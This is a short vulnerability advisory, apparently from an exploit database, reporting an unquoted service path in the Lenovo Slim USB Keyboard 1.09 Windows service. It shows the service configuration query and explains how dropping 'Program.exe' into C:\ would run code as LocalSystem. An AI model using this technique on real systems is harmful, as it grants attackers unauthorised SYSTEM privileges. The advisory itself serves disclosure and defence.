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Lenovo Slim USB Keyboard 1.09 Privilege Escalation Vulnerability
[# Exploit Title: Lenovo Slim USB Keyboard - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 1.09
# Tested on: Windows 7 Professional
The Lenovo Slim USB Keyboard service is installed with an unquoted service path.
This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
This was tested on version 1.09, but other versions may be affected as well.
---------------------------------------------------------------------------
C:\>sc qc Sks8821
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Sks8821
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Lenovo\Lenovo Slim USB Keyboard\Sks8821.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Skdaemon Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
---------------------------------------------------------------------------
EXAMPLE:
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
# 0day.today [2024-11-15] #